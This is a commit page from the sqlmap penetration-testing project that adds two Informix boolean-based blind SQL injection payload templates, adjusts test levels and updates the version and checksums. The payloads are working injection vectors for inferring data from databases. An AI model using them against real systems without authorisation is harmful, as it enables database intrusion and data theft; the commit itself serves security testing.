Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 5079c42

Browse files
committed
Adding Informix parameter replacement payloads (Issue #552)
1 parent bc7ab01 commit 5079c42

3 files changed

Lines changed: 43 additions & 5 deletions

File tree

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
from lib.core.revision import getRevisionNumber
2020

2121
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
22-
VERSION = "1.0.9.42"
22+
VERSION = "1.0.9.43"
2323
REVISION = getRevisionNumber()
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}

txt/checksum.md5

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ e60456db5380840a586654344003d4e6 lib/core/readlineng.py
4545
5ef56abb8671c2ca6ceecb208258e360 lib/core/replication.py
4646
99a2b496b9d5b546b335653ca801153f lib/core/revision.py
4747
7c15dd2777af4dac2c89cab6df17462e lib/core/session.py
48-
f9c92d337bfea55d24d24ae514e42a84 lib/core/settings.py
48+
025ec626a652d9195206f7dadc9c0e50 lib/core/settings.py
4949
7af83e4f18cab6dff5e67840eb65be80 lib/core/shell.py
5050
23657cd7d924e3c6d225719865855827 lib/core/subprocessng.py
5151
0bc2fae1dec18cdd11954b22358293f2 lib/core/target.py
@@ -449,7 +449,7 @@ d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml
449449
fb93505ef0ab3b4a20900f3e5625260d xml/boundaries.xml
450450
535d625cff8418bdc086ab4e1bbf5135 xml/errors.xml
451451
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
452-
48ec50e72db89cb8f7bf25e9f45cfc92 xml/payloads/boolean_blind.xml
452+
4b266898af8b7f380db910511de24ec4 xml/payloads/boolean_blind.xml
453453
103a4c9b12c582b24a3fac8147a9c8d4 xml/payloads/error_based.xml
454454
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
455455
96adb9bfbab867d221974d3ddb303cb6 xml/payloads/stacked_queries.xml

xml/payloads/boolean_blind.xml

Lines changed: 40 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -841,6 +841,44 @@ Tag: <test>
841841
</details>
842842
</test>
843843

844+
<test>
845+
<title>Informix boolean-based blind - Parameter replace</title>
846+
<stype>1</stype>
847+
<level>3</level>
848+
<risk>1</risk>
849+
<clause>1,3</clause>
850+
<where>3</where>
851+
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</vector>
852+
<request>
853+
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</payload>
854+
</request>
855+
<response>
856+
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END) FROM SYSMASTER:SYSDUAL)</comparison>
857+
</response>
858+
<details>
859+
<dbms>Informix</dbms>
860+
</details>
861+
</test>
862+
863+
<test>
864+
<title>Informix boolean-based blind - Parameter replace (original value)</title>
865+
<stype>1</stype>
866+
<level>4</level>
867+
<risk>1</risk>
868+
<clause>1,3</clause>
869+
<where>3</where>
870+
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</vector>
871+
<request>
872+
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</payload>
873+
</request>
874+
<response>
875+
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM] END) FROM SYSMASTER:SYSDUAL)</comparison>
876+
</response>
877+
<details>
878+
<dbms>Informix</dbms>
879+
</details>
880+
</test>
881+
844882
<test>
845883
<title>Microsoft Access boolean-based blind - Parameter replace</title>
846884
<stype>1</stype>
@@ -917,7 +955,7 @@ Tag: <test>
917955
<test>
918956
<title>Boolean-based blind - Parameter replace (CASE)</title>
919957
<stype>1</stype>
920-
<level>3</level>
958+
<level>2</level>
921959
<risk>1</risk>
922960
<clause>1,3</clause>
923961
<where>3</where>
@@ -933,7 +971,7 @@ Tag: <test>
933971
<test>
934972
<title>Boolean-based blind - Parameter replace (CASE) (original value)</title>
935973
<stype>1</stype>
936-
<level>4</level>
974+
<level>3</level>
937975
<risk>1</risk>
938976
<clause>1,3</clause>
939977
<where>3</where>

0 commit comments

Comments
 (0)